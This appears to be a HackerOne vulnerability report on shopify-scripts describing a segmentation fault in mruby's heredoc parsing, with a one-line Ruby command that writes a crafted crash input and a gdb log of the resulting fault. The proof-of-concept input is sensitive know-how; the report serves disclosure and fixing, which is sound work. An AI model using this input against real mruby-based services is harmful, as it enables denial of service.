shopify-scripts: mruby heredoc notation

2017-12-12T23:32:33
ID H1:297383
Type hackerone
Reporter j0s3
Modified 2018-01-10T23:46:42

Description

Hi There exists a vulnerability in mruby when using the heredoc notation (it doesn't need ulimit)

The minified test can be generated with the following command: ruby -e 'IO.binwrite("j_3_.rb", "\xa7<l while\x270\x27><<i\x00" + ("\x0a" * 0x3ffd) + "i\x0a")'

log: `` root@Ubuntu-1604-xenial-64-minimal ~/jtest/mruby/bin # ulimit -Sv unlimited; ruby -e 'IO.binwrite("j_3_.rb", "\xa7<l while\x270\x27><<i\x00" + ("\x0a" * 0x3ffd) + "i\x0a")'; rm core; ulimit -c unlimited; ./mruby j_3_.rb; gdb ./mruby core Segmentation fault (core dumped) GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./mruby...done. [New LWP 32567] Core was generated by./mruby j_3_.rb'. Program terminated with signal SIGSEGV, Segmentation fault.

0 0x000000000041c7c2 in mrb_vm_exec (mrb=0xae2010, proc=0xd66440, pc=0x7ff884d18014)

at /root/jtest/mruby/src/vm.c:1231

1231 JUMP; (gdb) x/5i $rip => 0x41c7c2 <mrb_vm_exec+4535>: mov (%rax),%eax 0x41c7c4 <mrb_vm_exec+4537>: mov %eax,-0x8e0(%rbp) 0x41c7ca <mrb_vm_exec+4543>: mov -0x8e0(%rbp),%eax 0x41c7d0 <mrb_vm_exec+4549>: and $0x7f,%eax 0x41c7d3 <mrb_vm_exec+4552>: cltq (gdb) i r rax 0x7ff884d18014 140705356939284 rbx 0x0 0 rcx 0xaf7810 11499536 rdx 0x10 16 rsi 0x3 3 rdi 0xae2010 11411472 rbp 0x7ffcbd6af3b0 0x7ffcbd6af3b0 rsp 0x7ffcbd6aeaa0 0x7ffcbd6aeaa0 r8 0x414829 4278313 r9 0x42f0fd 4387069 r10 0x7ff884817b78 140705351695224 r11 0x2e08 11784 r12 0x4019c0 4200896 r13 0x7ffcbd6af7e0 140723486390240 r14 0x0 0 r15 0x0 0 rip 0x41c7c2 0x41c7c2 <mrb_vm_exec+4535> eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0

```

Thanks

Impact

DoS